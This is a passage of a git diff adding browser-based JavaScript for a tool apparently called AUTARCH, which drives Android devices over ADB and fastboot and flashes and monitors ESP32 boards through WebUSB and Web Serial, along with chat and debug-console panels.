document.getElementById('hw-monitor-input'); + var data = input.value; + if (!data) return; + + if (hwConnectionMode === 'direct') { + HWDirect.espMonitorSend(data); + } else { + postJSON('/hardware/serial/monitor/send', {data: data}); + } + input.value = ''; +} + +function hwMonitorClear() { + var output = document.getElementById('hw-monitor-output'); + if (output) output.textContent = ''; +} + +// ── Factory Flash (Direct mode, PixelFlasher PoC) ── + +var hwFactoryZipFile = null; + +function hwFactoryZipSelected(input) { + if (!input.files.length) return; + hwFactoryZipFile = input.files[0]; + var planDiv = document.getElementById('hw-factory-plan'); + var detailsDiv = document.getElementById('hw-factory-plan-details'); + var checkDiv = document.getElementById('hw-factory-device-check'); + + detailsDiv.innerHTML = '
    Reading ZIP file: ' + escapeHtml(hwFactoryZipFile.name) + ' (' + (hwFactoryZipFile.size / 1024 / 1024).toFixed(1) + ' MB)
    '; + planDiv.style.display = 'block'; + + // Check if fastboot device is connected + if (HWDirect.fbIsConnected()) { + HWDirect.fbGetInfo().then(function(info) { + checkDiv.innerHTML = 'Fastboot device connected: ' + + escapeHtml(info.product || 'Unknown') + ' (unlocked: ' + escapeHtml(info.unlocked || '?') + ')'; + }); + } else { + checkDiv.innerHTML = 'No fastboot device connected. Connect one before flashing.'; + } +} + +async function hwFactoryFlash() { + if (!hwFactoryZipFile) { alert('Select a factory image ZIP'); return; } + if (!HWDirect.fbIsConnected()) { alert('Connect a fastboot device first'); return; } + if (!confirm('Flash factory image? This may erase device data.')) return; + + var progressDiv = document.getElementById('hw-factory-progress'); + var logDiv = document.getElementById('hw-factory-log'); + progressDiv.style.display = 'block'; + logDiv.textContent = ''; + + var skipUserdata = document.getElementById('hw-factory-skip-userdata').checked; + + function logMsg(text) { + logDiv.textContent += text + '\n'; + logDiv.scrollTop = logDiv.scrollHeight; + } + + try { + await HWDirect.fbFactoryFlash(hwFactoryZipFile, { wipeData: !skipUserdata }, function(status) { + document.getElementById('hw-factory-msg').textContent = status.message || ''; + if (status.progress !== undefined) { + var pct = Math.round(status.progress * 100); + document.getElementById('hw-factory-fill').style.width = pct + '%'; + document.getElementById('hw-factory-pct').textContent = pct + '%'; + } + logMsg('[' + (status.stage || '') + '] ' + (status.message || '')); + }); + document.getElementById('hw-factory-msg').textContent = 'Factory flash complete'; + document.getElementById('hw-factory-fill').style.width = '100%'; + document.getElementById('hw-factory-pct').textContent = '100%'; + } catch (e) { + document.getElementById('hw-factory-msg').textContent = 'Failed: ' + e.message; + logMsg('ERROR: ' + e.message); + } +} + +// ── Agent Hal Global Chat Panel ────────────────────────────────────────────── + +function halToggle() { + var p = document.getElementById('hal-panel'); + if (!p) return; + var visible = p.style.display !== 'none'; + p.style.display = visible ? 'none' : 'flex'; + if (!visible) { + var inp = document.getElementById('hal-input'); + if (inp) inp.focus(); + } +} + +function halSend() { + var inp = document.getElementById('hal-input'); + if (!inp) return; + var msg = inp.value.trim(); + if (!msg) return; + inp.value = ''; + halAppend('user', msg); + var botDiv = halAppend('bot', ''); + + fetch('/api/chat', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({message: msg}) + }).then(function(res) { + var reader = res.body.getReader(); + var dec = new TextDecoder(); + var buf = ''; + function pump() { + reader.read().then(function(chunk) { + if (chunk.done) return; + buf += dec.decode(chunk.value, {stream: true}); + var parts = buf.split('\n\n'); + buf = parts.pop(); + parts.forEach(function(part) { + var line = part.replace(/^data:\s*/, '').trim(); + if (!line) return; + try { + var d = JSON.parse(line); + if (d.token) { botDiv.textContent += d.token; halScroll(); } + if (d.error) { botDiv.textContent = 'Error: ' + d.error; } + } catch(e) {} + }); + pump(); + }); + } + pump(); + }).catch(function(e) { + if (botDiv) botDiv.textContent = 'Error: ' + e.message; + }); +} + +function halAppend(role, text) { + var msgs = document.getElementById('hal-messages'); + if (!msgs) return null; + var div = document.createElement('div'); + div.className = 'hal-msg hal-msg-' + role; + div.textContent = text; + msgs.appendChild(div); + halScroll(); + return div; +} + +function halScroll() { + var m = document.getElementById('hal-messages'); + if (m) m.scrollTop = m.scrollHeight; +} + +function halClear() { + var m = document.getElementById('hal-messages'); + if (m) m.innerHTML = ''; + fetch('/api/chat/reset', {method: 'POST'}).catch(function() {}); +} + +// ── Debug Console ───────────────────────────────────────────────────────────── + +var _dbgEs = null; +var _dbgMode = 'warn'; +var _dbgMessages = []; +var _dbgMsgCount = 0; + +// Level → display config +var _DBG_LEVELS = { + DEBUG: { cls: 'dbg-debug', sym: '▶' }, + INFO: { cls: 'dbg-info', sym: 'ℹ' }, + WARNING: { cls: 'dbg-warn', sym: '⚠' }, + ERROR: { cls: 'dbg-err', sym: '✕' }, + CRITICAL: { cls: 'dbg-crit', sym: '☠' }, +}; + +// Output-tagged logger names (treated as operational output in "Output Only" mode) +var _OUTPUT_LOGGERS = ['msf', 'agent', 'autarch', 'output', 'scanner', 'tools']; + +function debugToggle(enabled) { + fetch('/settings/debug/toggle', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({enabled: enabled}) + }).catch(function() {}); + + var btn = document.getElementById('debug-toggle-btn'); + if (btn) btn.style.display = enabled ? '' : 'none'; + localStorage.setItem('autarch_debug', enabled ? '1' : '0'); + + if (enabled) { + _dbgStartStream(); + } else { + _dbgStopStream(); + } +} + +function debugOpen() { + var p = document.getElementById('debug-panel'); + if (!p) return; + p.style.display = 'flex'; + if (!_dbgEs) _dbgStartStream(); +} + +function debugClose() { + var p = document.getElementById('debug-panel'); + if (p) p.style.display = 'none'; +} + +function _dbgStartStream() { + if (_dbgEs) return; + _dbgEs = new EventSource('/settings/debug/stream'); + var dot = document.getElementById('debug-live-dot'); + if (dot) dot.classList.add('debug-live-active'); + + _dbgEs.onmessage = function(e) { + try { + var d = JSON.parse(e.data); + _dbgMessages.push(d); + if (_dbgMessages.length > 5000) _dbgMessages.shift(); + _dbgRenderOne(d); + } catch(err) {} + }; + + _dbgEs.onerror = function() { + if (dot) dot.classList.remove('debug-live-active'); + }; +} + +function _dbgStopStream() { + if (_dbgEs) { _dbgEs.close(); _dbgEs = null; } + var dot = document.getElementById('debug-live-dot'); + if (dot) dot.classList.remove('debug-live-active'); +} + +function _dbgShouldShow(entry) { + var lvl = (entry.level || '').toUpperCase(); + switch (_dbgMode) { + case 'all': return true; + case 'debug': return true; // all levels, with symbols + case 'verbose': return lvl !== 'DEBUG' && lvl !== 'NOTSET'; + case 'warn': return lvl === 'WARNING' || lvl === 'ERROR' || lvl === 'CRITICAL'; + case 'output': + var name = (entry.name || '').toLowerCase(); + return _OUTPUT_LOGGERS.some(function(pfx) { return name.indexOf(pfx) >= 0; }); + } + return true; +} + +function _dbgFormat(entry) { + var lvl = (entry.level || 'INFO').toUpperCase(); + var cfg = _DBG_LEVELS[lvl] || {cls: '', sym: '·'}; + var ts = new Date(entry.ts * 1000).toISOString().substr(11, 12); + var sym = (_dbgMode === 'debug' || _dbgMode === 'all') ? cfg.sym + ' ' : ''; + var name = _dbgMode === 'all' ? '[' + (entry.name || '') + '] ' : ''; + var text = ts + ' ' + sym + '[' + lvl.substr(0,4) + '] ' + name + (entry.raw || ''); + var exc = (_dbgMode === 'all' && entry.exc) ? '\n' + entry.exc : ''; + return { cls: cfg.cls, text: text + exc }; +} + +function _dbgRenderOne(entry) { + if (!_dbgShouldShow(entry)) return; + var out = document.getElementById('debug-output'); + if (!out) return; + var f = _dbgFormat(entry); + var line = document.createElement('div'); + line.className = 'debug-line ' + f.cls; + line.textContent = f.text; + out.appendChild(line); + + // Auto-scroll only if near bottom (within 80px) + if (out.scrollHeight - out.scrollTop - out.clientHeight < 80) { + out.scrollTop = out.scrollHeight; + } + + _dbgMsgCount++; + var cnt = document.getElementById('debug-msg-count'); + if (cnt) cnt.textContent = _dbgMsgCount + ' msgs'; +} + +function _dbgRerender() { + var out = document.getElementById('debug-output'); + if (!out) return; + out.innerHTML = ''; + _dbgMsgCount = 0; + var cnt = document.getElementById('debug-msg-count'); + if (cnt) cnt.textContent = '0 msgs'; + _dbgMessages.forEach(_dbgRenderOne); +} + +function debugSetMode(chk) { + // Mutually exclusive — uncheck all others + document.querySelectorAll('input[name="dbg-mode"]').forEach(function(c) { + c.checked = false; + }); + chk.checked = true; + _dbgMode = chk.value; + _dbgRerender(); +} + +function debugClear() { + _dbgMessages = []; + _dbgMsgCount = 0; + var out = document.getElementById('debug-output'); + if (out) out.innerHTML = ''; + var cnt = document.getElementById('debug-msg-count'); + if (cnt) cnt.textContent = '0 msgs'; + fetch('/settings/debug/clear', {method: 'POST'}).catch(function() {}); +} + +// Init debug panel on page load +(function _initDebug() { + document.addEventListener('DOMContentLoaded', function() { + var enabled = localStorage.getItem('autarch_debug') === '1'; + var btn = document.getElementById('debug-toggle-btn'); + var chk = document.getElementById('debug-enable-chk'); + if (btn) btn.style.display = enabled ? '' : 'none'; + if (chk) chk.checked = enabled; + if (enabled) { + // Re-enable backend capture (survives server restarts) + fetch('/settings/debug/toggle', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({enabled: true}) + }).catch(function() {}); + _dbgStartStream(); + } + + // Make debug panel draggable + var handle = document.getElementById('debug-drag-handle'); + var panel = document.getElementById('debug-panel'); + if (handle && panel) { + var dragging = false, ox = 0, oy = 0; + handle.addEventListener('mousedown', function(e) { + dragging = true; + ox = e.clientX - panel.offsetLeft; + oy = e.clientY - panel.offsetTop; + e.preventDefault(); + }); + document.addEventListener('mousemove', function(e) { + if (!dragging) return; + panel.style.left = (e.clientX - ox) + 'px'; + panel.style.top = (e.clientY - oy) + 'px'; + panel.style.right = 'auto'; + panel.style.bottom = 'auto'; + }); + document.addEventListener('mouseup', function() { dragging = false; }); + } + }); +}()); diff --git a/web/static/js/hardware-direct.js b/web/static/js/hardware-direct.js new file mode 100644 index 0000000..7e19914 --- /dev/null +++ b/web/static/js/hardware-direct.js @@ -0,0 +1,817 @@ +/** + * AUTARCH Hardware Direct Mode + * Browser-based device access via WebUSB (ADB/Fastboot) and Web Serial (ESP32) + * + * Dependencies (loaded before this file): + * - web/static/js/lib/adb-bundle.js → window.YumeAdb + * - web/static/js/lib/fastboot-bundle.js → window.Fastboot + * - web/static/js/lib/esptool-bundle.js → window.EspTool + */ + +var HWDirect = (function() { + 'use strict'; + + // ── Browser Capability Detection ───────────────────────────── + + var supported = { + webusb: typeof navigator !== 'undefined' && !!navigator.usb, + webserial: typeof navigator !== 'undefined' && !!navigator.serial, + }; + + // ── State ──────────────────────────────────────────────────── + + var adbDevice = null; // Adb instance (ya-webadb) + var adbTransport = null; // AdbDaemonTransport + var adbUsbDevice = null; // AdbDaemonWebUsbDevice (for disconnect) + var adbDeviceInfo = {}; // Cached device props + + var fbDevice = null; // FastbootDevice instance + + var espLoader = null; // ESPLoader instance + var espTransport = null; // Web Serial Transport + var espPort = null; // SerialPort reference + var espMonitorReader = null; + var espMonitorRunning = false; + + // ── ADB Credential Store (IndexedDB) ───────────────────────── + // ADB requires RSA key authentication. Keys are stored in IndexedDB + // so the user only needs to authorize once per browser. + + var DB_NAME = 'autarch_adb_keys'; + var STORE_NAME = 'keys'; + + function _openKeyDB() { + return new Promise(function(resolve, reject) { + var req = indexedDB.open(DB_NAME, 1); + req.onupgradeneeded = function(e) { + e.target.result.createObjectStore(STORE_NAME, { keyPath: 'id' }); + }; + req.onsuccess = function(e) { resolve(e.target.result); }; + req.onerror = function(e) { reject(e.target.error); }; + }); + } + + function _saveKey(id, privateKey) { + return _openKeyDB().then(function(db) { + return new Promise(function(resolve, reject) { + var tx = db.transaction(STORE_NAME, 'readwrite'); + tx.objectStore(STORE_NAME).put({ id: id, key: privateKey }); + tx.oncomplete = function() { resolve(); }; + tx.onerror = function(e) { reject(e.target.error); }; + }); + }); + } + + function _loadKeys() { + return _openKeyDB().then(function(db) { + return new Promise(function(resolve, reject) { + var tx = db.transaction(STORE_NAME, 'readonly'); + var req = tx.objectStore(STORE_NAME).getAll(); + req.onsuccess = function() { resolve(req.result || []); }; + req.onerror = function(e) { reject(e.target.error); }; + }); + }); + } + + // Web Crypto RSA key generation for ADB authentication + var credentialStore = { + generateKey: async function() { + var keyPair = await crypto.subtle.generateKey( + { name: 'RSASSA-PKCS1-v1_5', modulusLength: 2048, + publicExponent: new Uint8Array([1, 0, 1]), + hash: 'SHA-1' }, + true, ['sign'] + ); + var exported = await crypto.subtle.exportKey('pkcs8', keyPair.privateKey); + var keyBuffer = new Uint8Array(exported); + var keyId = 'adb_key_' + Date.now(); + await _saveKey(keyId, Array.from(keyBuffer)); + return { buffer: keyBuffer, name: 'autarch@browser' }; + }, + iterateKeys: async function*() { + var keys = await _loadKeys(); + for (var i = 0; i < keys.length; i++) { + yield { buffer: new Uint8Array(keys[i].key), name: 'autarch@browser' }; + } + } + }; + + // ══════════════════════════════════════════════════════════════ + // ADB (WebUSB) + // ══════════════════════════════════════════════════════════════ + + /** + * Get list of already-paired ADB devices (no permission prompt). + * Returns array of {serial, name, raw}. + */ + async function adbGetDevices() { + if (!supported.webusb) return []; + var manager = YumeAdb.AdbDaemonWebUsbDeviceManager.BROWSER; + if (!manager) return []; + try { + var devices = await manager.getDevices(); + return devices.map(function(d) { + return { serial: d.serial || '', name: d.name || '', raw: d }; + }); + } catch (e) { + console.error('adbGetDevices:', e); + return []; + } + } + + /** + * Request user to select an ADB device (shows browser USB picker). + * Returns {serial, name, raw} or null. + */ + async function adbRequestDevice() { + if (!supported.webusb) throw new Error('WebUSB not supported in this browser'); + var manager = YumeAdb.AdbDaemonWebUsbDeviceManager.BROWSER; + if (!manager) throw new Error('WebUSB manager not available'); + var device = await manager.requestDevice(); + if (!device) return null; + return { serial: device.serial || '', name: device.name || '', raw: device }; + } + + /** + * Connect to an ADB device (from adbGetDevices or adbRequestDevice). + * Performs USB connection + ADB authentication. + * The device screen will show "Allow USB debugging?" on first connect. + */ + async function adbConnect(deviceObj) { + if (adbDevice) { + await adbDisconnect(); + } + var usbDev = deviceObj.raw; + var connection; + try { + connection = await usbDev.connect(); + } catch (e) { + var errMsg = e.message || String(e); + var errLow = errMsg.toLowerCase(); + // Windows: USB driver conflict — ADB server or another app owns the device + if (errLow.includes('already in used') || errLow.includes('already in use') || + errLow.includes('in use by another') || errLow.includes('access denied')) { + // Try forcing a release and retrying once + try { await usbDev.close(); } catch (_) {} + try { + connection = await usbDev.connect(); + } catch (e2) { + throw new Error( + 'USB device is claimed by another program (usually the ADB server).\n\n' + + 'Fix: open a terminal and run:\n' + + ' adb kill-server\n\n' + + 'Then close Android Studio, scrcpy, or any other ADB tool, and click Connect again.' + ); + } + } else if (errLow.includes('permission') || errLow.includes('not allowed') || + errLow.includes('failed to open')) { + throw new Error( + 'USB permission denied. On Linux, ensure udev rules are installed:\n' + + ' sudo bash -c "echo \'SUBSYSTEM==\"usb\", ATTR{idVendor}==\"18d1\", MODE=\"0666\"\' > /etc/udev/rules.d/99-android.rules"\n' + + ' sudo udevadm control --reload-rules' + ); + } else { + throw new Error( + 'USB connect failed: ' + errMsg + '\n\n' + + 'Make sure the device screen is unlocked and USB debugging is enabled in Developer Options.' + ); + } + } + try { + adbTransport = await YumeAdb.AdbDaemonTransport.authenticate({ + serial: deviceObj.serial, + connection: connection, + credentialStore: credentialStore, + }); + } catch (e) { + var msg = e.message || String(e); + if (msg.toLowerCase().includes('auth') || msg.toLowerCase().includes('denied')) { + throw new Error('ADB auth denied — tap "Allow USB Debugging?" on the device screen, then click Connect again.'); + } + throw new Error('ADB authentication failed: ' + msg); + } + adbDevice = new YumeAdb.Adb(adbTransport); + adbUsbDevice = usbDev; + adbDeviceInfo = {}; + return true; + } + + /** + * Run a shell command on the connected ADB device. + * Returns {stdout, stderr, exitCode} or {output} for legacy protocol. + */ + async function adbShell(cmd) { + if (!adbDevice) throw new Error('No ADB device connected'); + try { + // Prefer shell v2 protocol (separate stdout/stderr + exit code) + if (adbDevice.subprocess && adbDevice.subprocess.shellProtocol) { + var result = await adbDevice.subprocess.shellProtocol.spawnWaitText(cmd); + return { + stdout: result.stdout || '', + stderr: result.stderr || '', + exitCode: result.exitCode, + output: result.stdout || '' + }; + } + // Fallback: none protocol (mixed output) + if (adbDevice.subprocess && adbDevice.subprocess.noneProtocol) { + var output = await adbDevice.subprocess.noneProtocol.spawnWaitText(cmd); + return { output: output, stdout: output, stderr: '', exitCode: 0 }; + } + throw new Error('No subprocess protocol available'); + } catch (e) { + return { output: '', stdout: '', stderr: e.message, exitCode: -1, error: e.message }; + } + } + + /** + * Get device info (model, brand, android version, etc.). + * Returns object with property key-value pairs. + */ + async function adbGetInfo() { + if (!adbDevice) throw new Error('No ADB device connected'); + var props = [ + ['model', 'ro.product.model'], + ['brand', 'ro.product.brand'], + ['device', 'ro.product.device'], + ['manufacturer', 'ro.product.manufacturer'], + ['android_version', 'ro.build.version.release'], + ['sdk', 'ro.build.version.sdk'], + ['build', 'ro.build.display.id'], + ['security_patch', 'ro.build.version.security_patch'], + ['cpu_abi', 'ro.product.cpu.abi'], + ['serialno', 'ro.serialno'], + ]; + + var info = {}; + for (var i = 0; i < props.length; i++) { + try { + var result = await adbShell('getprop ' + props[i][1]); + info[props[i][0]] = (result.stdout || result.output || '').trim(); + } catch (e) { + info[props[i][0]] = ''; + } + } + + // Battery info + try { + var batt = await adbShell('dumpsys battery'); + var battOut = batt.stdout || batt.output || ''; + var levelMatch = battOut.match(/level:\s*(\d+)/); + var statusMatch = battOut.match(/status:\s*(\d+)/); + if (levelMatch) info.battery = levelMatch[1] + '%'; + if (statusMatch) { + var statuses = {1:'Unknown', 2:'Charging', 3:'Discharging', 4:'Not charging', 5:'Full'}; + info.battery_status = statuses[statusMatch[1]] || 'Unknown'; + } + } catch (e) {} + + // Storage info + try { + var df = await adbShell('df /data'); + var dfOut = df.stdout || df.output || ''; + var lines = dfOut.trim().split('\n'); + if (lines.length >= 2) { + var parts = lines[1].trim().split(/\s+/); + if (parts.length >= 4) { + info.storage_total = parts[1]; + info.storage_used = parts[2]; + info.storage_free = parts[3]; + } + } + } catch (e) {} + + adbDeviceInfo = info; + return info; + } + + /** + * Reboot ADB device to specified mode. + */ + async function adbReboot(mode) { + if (!adbDevice) throw new Error('No ADB device connected'); + if (!adbDevice.power) throw new Error('Power commands not available'); + switch (mode) { + case 'system': await adbDevice.power.reboot(); break; + case 'bootloader': await adbDevice.power.bootloader(); break; + case 'recovery': await adbDevice.power.recovery(); break; + case 'fastboot': await adbDevice.power.fastboot(); break; + case 'sideload': await adbDevice.power.sideload(); break; + default: await adbDevice.power.reboot(); break; + } + adbDevice = null; + adbTransport = null; + return { success: true }; + } + + /** + * Install APK on connected device. + * @param {Blob|File} blob - APK file + */ + async function adbInstall(blob) { + if (!adbDevice) throw new Error('No ADB device connected'); + // Push to temp location then pm install + var tmpPath = '/data/local/tmp/autarch_install.apk'; + await adbPush(blob, tmpPath); + var result = await adbShell('pm install -r ' + tmpPath); + await adbShell('rm ' + tmpPath); + return result; + } + + /** + * Push a file to the device. + * @param {Blob|File|Uint8Array} data - File data + * @param {string} remotePath - Destination path on device + */ + async function adbPush(data, remotePath) { + if (!adbDevice) throw new Error('No ADB device connected'); + var sync = await adbDevice.sync(); + try { + var bytes; + if (data instanceof Uint8Array) { + bytes = data; + } else if (data instanceof Blob) { + var ab = await data.arrayBuffer(); + bytes = new Uint8Array(ab); + } else { + throw new Error('Unsupported data type'); + } + var stream = new ReadableStream({ + start: function(controller) { + controller.enqueue(bytes); + controller.close(); + } + }); + await sync.write({ + filename: remotePath, + file: stream, + permission: 0o644, + mtime: Math.floor(Date.now() / 1000), + }); + return { success: true }; + } finally { + await sync.dispose(); + } + } + + /** + * Pull a file from the device. + * Returns Blob. + */ + async function adbPull(remotePath) { + if (!adbDevice) throw new Error('No ADB device connected'); + var sync = await adbDevice.sync(); + try { + var readable = sync.read(remotePath); + var reader = readable.getReader(); + var chunks = []; + while (true) { + var result = await reader.read(); + if (result.done) break; + chunks.push(result.value); + } + var totalLen = chunks.reduce(function(s, c) { return s + c.length; }, 0); + var combined = new Uint8Array(totalLen); + var offset = 0; + for (var i = 0; i < chunks.length; i++) { + combined.set(chunks[i], offset); + offset += chunks[i].length; + } + return new Blob([combined]); + } finally { + await sync.dispose(); + } + } + + /** + * Get logcat output. + */ + async function adbLogcat(lines) { + lines = lines || 100; + return await adbShell('logcat -d -t ' + lines); + } + + /** + * Disconnect from ADB device. + */ + async function adbDisconnect() { + if (adbDevice) { + try { await adbDevice.close(); } catch (e) {} + } + if (adbUsbDevice) { + // Release the USB interface so Windows won't block the next connect() + try { await adbUsbDevice.close(); } catch (e) {} + } + adbDevice = null; + adbTransport = null; + adbUsbDevice = null; + adbDeviceInfo = {}; + } + + /** + * Check if ADB device is connected. + */ + function adbIsConnected() { + return adbDevice !== null; + } + + /** + * Get a human-readable label for the connected ADB device. + * Returns "Model (serial)" or "Connected device" if info not yet fetched. + */ + function adbGetDeviceLabel() { + if (!adbDevice) return 'Not connected'; + var model = adbDeviceInfo.model || ''; + var serial = adbUsbDevice ? (adbUsbDevice.serial || '') : ''; + if (model && serial) return model + ' (' + serial + ')'; + if (model) return model; + if (serial) return serial; + return 'Connected device'; + } + + + // ══════════════════════════════════════════════════════════════ + // FASTBOOT (WebUSB) + // ══════════════════════════════════════════════════════════════ + + /** + * Connect to a fastboot device (shows browser USB picker). + */ + async function fbConnect() { + if (!supported.webusb) throw new Error('WebUSB not supported'); + if (fbDevice) await fbDisconnect(); + fbDevice = new Fastboot.FastbootDevice(); + await fbDevice.connect(); + return true; + } + + /** + * Get fastboot device info (getvar queries). + */ + async function fbGetInfo() { + if (!fbDevice) throw new Error('No fastboot device connected'); + var vars = ['product', 'variant', 'serialno', 'secure', 'unlocked', + 'current-slot', 'max-download-size', 'battery-voltage', + 'battery-soc-ok', 'hw-revision', 'version-bootloader', + 'version-baseband', 'off-mode-charge']; + var info = {}; + for (var i = 0; i < vars.length; i++) { + try { + info[vars[i]] = await fbDevice.getVariable(vars[i]); + } catch (e) { + info[vars[i]] = ''; + } + } + return info; + } + + /** + * Flash a partition. + * @param {string} partition - Partition name (boot, recovery, system, etc.) + * @param {Blob|File} blob - Firmware image + * @param {function} progressCb - Called with (progress: 0-1) + */ + async function fbFlash(partition, blob, progressCb) { + if (!fbDevice) throw new Error('No fastboot device connected'); + var callback = progressCb || function() {}; + await fbDevice.flashBlob(partition, blob, function(progress) { + callback(progress); + }); + return { success: true }; + } + + /** + * Reboot fastboot device. + */ + async function fbReboot(mode) { + if (!fbDevice) throw new Error('No fastboot device connected'); + switch (mode) { + case 'bootloader': await fbDevice.reboot('bootloader'); break; + case 'recovery': await fbDevice.reboot('recovery'); break; + default: await fbDevice.reboot(); break; + } + fbDevice = null; + return { success: true }; + } + + /** + * OEM unlock the bootloader. + */ + async function fbOemUnlock() { + if (!fbDevice) throw new Error('No fastboot device connected'); + await fbDevice.runCommand('oem unlock'); + return { success: true }; + } + + /** + * Flash a factory image ZIP (PixelFlasher-style). + * Parses the ZIP, identifies partitions, flashes in sequence. + * @param {Blob|File} zipBlob - Factory image ZIP file + * @param {object} options - Flash options + * @param {function} progressCb - Called with {stage, partition, progress, message} + */ + async function fbFactoryFlash(zipBlob, options, progressCb) { + if (!fbDevice) throw new Error('No fastboot device connected'); + options = options || {}; + var callback = progressCb || function() {}; + + callback({ stage: 'init', message: 'Reading factory image ZIP...' }); + + try { + // Use fastboot.js built-in factory flash support + await fbDevice.flashFactoryZip(zipBlob, !options.wipeData, function(action, item, progress) { + if (action === 'unpack') { + callback({ stage: 'unpack', partition: item, progress: progress, + message: 'Unpacking: ' + item }); + } else if (action === 'flash') { + callback({ stage: 'flash', partition: item, progress: progress, + message: 'Flashing: ' + item + ' (' + Math.round(progress * 100) + '%)' }); + } else if (action === 'reboot') { + callback({ stage: 'reboot', message: 'Rebooting...' }); + } + }); + + callback({ stage: 'done', message: 'Factory flash complete' }); + return { success: true }; + } catch (e) { + callback({ stage: 'error', message: 'Flash failed: ' + e.message }); + return { success: false, error: e.message }; + } + } + + /** + * Disconnect from fastboot device. + */ + async function fbDisconnect() { + if (fbDevice) { + try { await fbDevice.disconnect(); } catch (e) {} + } + fbDevice = null; + } + + function fbIsConnected() { + return fbDevice !== null; + } + + + // ══════════════════════════════════════════════════════════════ + // ESP32 (Web Serial) + // ══════════════════════════════════════════════════════════════ + + /** + * Request a serial port (shows browser serial picker). + * Returns port reference for later use. + */ + async function espRequestPort() { + if (!supported.webserial) throw new Error('Web Serial not supported'); + espPort = await navigator.serial.requestPort({ + filters: [ + { usbVendorId: 0x10C4 }, // Silicon Labs CP210x + { usbVendorId: 0x1A86 }, // QinHeng CH340 + { usbVendorId: 0x0403 }, // FTDI + { usbVendorId: 0x303A }, // Espressif USB-JTAG + ] + }); + return espPort; + } + + /** + * Connect to ESP32 and detect chip. + * @param {number} baud - Baud rate (default 115200) + */ + async function espConnect(baud) { + if (!espPort) throw new Error('No serial port selected. Call espRequestPort() first.'); + baud = baud || 115200; + + if (espTransport) await espDisconnect(); + + await espPort.open({ baudRate: baud }); + espTransport = new EspTool.Transport(espPort); + espLoader = new EspTool.ESPLoader({ + transport: espTransport, + baudrate: baud, + romBaudrate: 115200, + }); + // Connect and detect chip + await espLoader.main(); + return { + success: true, + chip: espLoader.chipName || 'Unknown', + }; + } + + /** + * Get detected chip info. + */ + function espGetChipInfo() { + if (!espLoader) return null; + return { + chip: espLoader.chipName || 'Unknown', + features: espLoader.chipFeatures || [], + mac: espLoader.macAddr || '', + }; + } + + /** + * Flash firmware to ESP32. + * @param {Array} fileArray - [{data: Uint8Array|string, address: number}, ...] + * @param {function} progressCb - Called with (fileIndex, written, total) + */ + async function espFlash(fileArray, progressCb) { + if (!espLoader) throw new Error('No ESP32 connected. Call espConnect() first.'); + var callback = progressCb || function() {}; + + await espLoader.writeFlash({ + fileArray: fileArray, + flashSize: 'keep', + flashMode: 'keep', + flashFreq: 'keep', + eraseAll: false, + compress: true, + reportProgress: function(fileIndex, written, total) { + callback(fileIndex, written, total); + }, + }); + return { success: true }; + } + + /** + * Start serial monitor on the connected port. + * @param {number} baud - Baud rate (default 115200) + * @param {function} outputCb - Called with each line of output + */ + async function espMonitorStart(baud, outputCb) { + if (!espPort) throw new Error('No serial port selected'); + baud = baud || 115200; + + // If loader is connected, disconnect it first but keep port open + if (espLoader) { + try { await espLoader.hardReset(); } catch (e) {} + espLoader = null; + espTransport = null; + } + + // Close and reopen at monitor baud rate + try { await espPort.close(); } catch (e) {} + await espPort.open({ baudRate: baud }); + + espMonitorRunning = true; + var decoder = new TextDecoderStream(); + espPort.readable.pipeTo(decoder.writable).catch(function(e) { + if (espMonitorRunning) console.error('espMonitor pipeTo:', e); + }); + espMonitorReader = decoder.readable.getReader(); + + (async function readLoop() { + try { + while (espMonitorRunning) { + var result = await espMonitorReader.read(); + if (result.done) break; + if (result.value && outputCb) { + outputCb(result.value); + } + } + } catch (e) { + if (espMonitorRunning) { + outputCb('[Monitor error: ' + e.message + ']'); + } + } + })(); + + return { success: true }; + } + + /** + * Send data to serial monitor. + */ + async function espMonitorSend(data) { + if (!espPort || !espPort.writable) throw new Error('No serial monitor active'); + var writer = espPort.writable.getWriter(); + try { + var encoded = new TextEncoder().encode(data + '\n'); + await writer.write(encoded); + } finally { + writer.releaseLock(); + } + } + + /** + * Stop serial monitor. + */ + async function espMonitorStop() { + espMonitorRunning = false; + if (espMonitorReader) { + try { await espMonitorReader.cancel(); } catch (e) {} + espMonitorReader = null; + } + } + + /** + * Disconnect ESP32 and close serial port. + */ + async function espDisconnect() { + espMonitorRunning = false; + if (espMonitorReader) { + try { await espMonitorReader.cancel(); } catch (e) {} + espMonitorReader = null; + } + espLoader = null; + espTransport = null; + if (espPort) { + try { await espPort.close(); } catch (e) {} + espPort = null; + } + } + + function espIsConnected() { + return espLoader !== null || espMonitorRunning; + } + + + // ══════════════════════════════════════════════════════════════ + // Utility + // ══════════════════════════════════════════════════════════════ + + /** + * Read a local file as Uint8Array (from ). + */ + function readFileAsBytes(file) { + return new Promise(function(resolve, reject) { + var reader = new FileReader(); + reader.onload = function() { resolve(new Uint8Array(reader.result)); }; + reader.onerror = function() { reject(reader.error); }; + reader.readAsArrayBuffer(file); + }); + } + + /** + * Read a local file as text. + */ + function readFileAsText(file) { + return new Promise(function(resolve, reject) { + var reader = new FileReader(); + reader.onload = function() { resolve(reader.result); }; + reader.onerror = function() { reject(reader.error); }; + reader.readAsText(file); + }); + } + + /** + * Download data as a file to the user's machine. + */ + function downloadBlob(blob, filename) { + var url = URL.createObjectURL(blob); + var a = document.createElement('a'); + a.href = url; + a.download = filename; + a.click(); + URL.revokeObjectURL(url); + } + + // ── Public API ──────────────────────────────────────────────── + + return { + supported: supported, + + // ADB + adbGetDevices: adbGetDevices, + adbRequestDevice: adbRequestDevice, + adbConnect: adbConnect, + adbShell: adbShell, + adbGetInfo: adbGetInfo, + adbReboot: adbReboot, + adbInstall: adbInstall, + adbPush: adbPush, + adbPull: adbPull, + adbLogcat: adbLogcat, + adbDisconnect: adbDisconnect, + adbIsConnected: adbIsConnected, + adbGetDeviceLabel: adbGetDeviceLabel, + + // Fastboot + fbConnect: fbConnect, + fbGetInfo: fbGetInfo, + fbFlash: fbFlash, + fbReboot: fbReboot, + fbOemUnlock: fbOemUnlock, + fbFactoryFlash: fbFactoryFlash, + fbDisconnect: fbDisconnect, + fbIsConnected: fbIsConnected, + + // ESP32 + espRequestPort: espRequestPort, + espConnect: espConnect, + espGetChipInfo: espGetChipInfo, + espFlash: espFlash, + espMonitorStart: espMonitorStart, + espMonitorSend: espMonitorSend, + espMonitorStop: espMonitorStop, + espDisconnect: espDisconnect, + espIsConnected: espIsConnected, + + // Utility 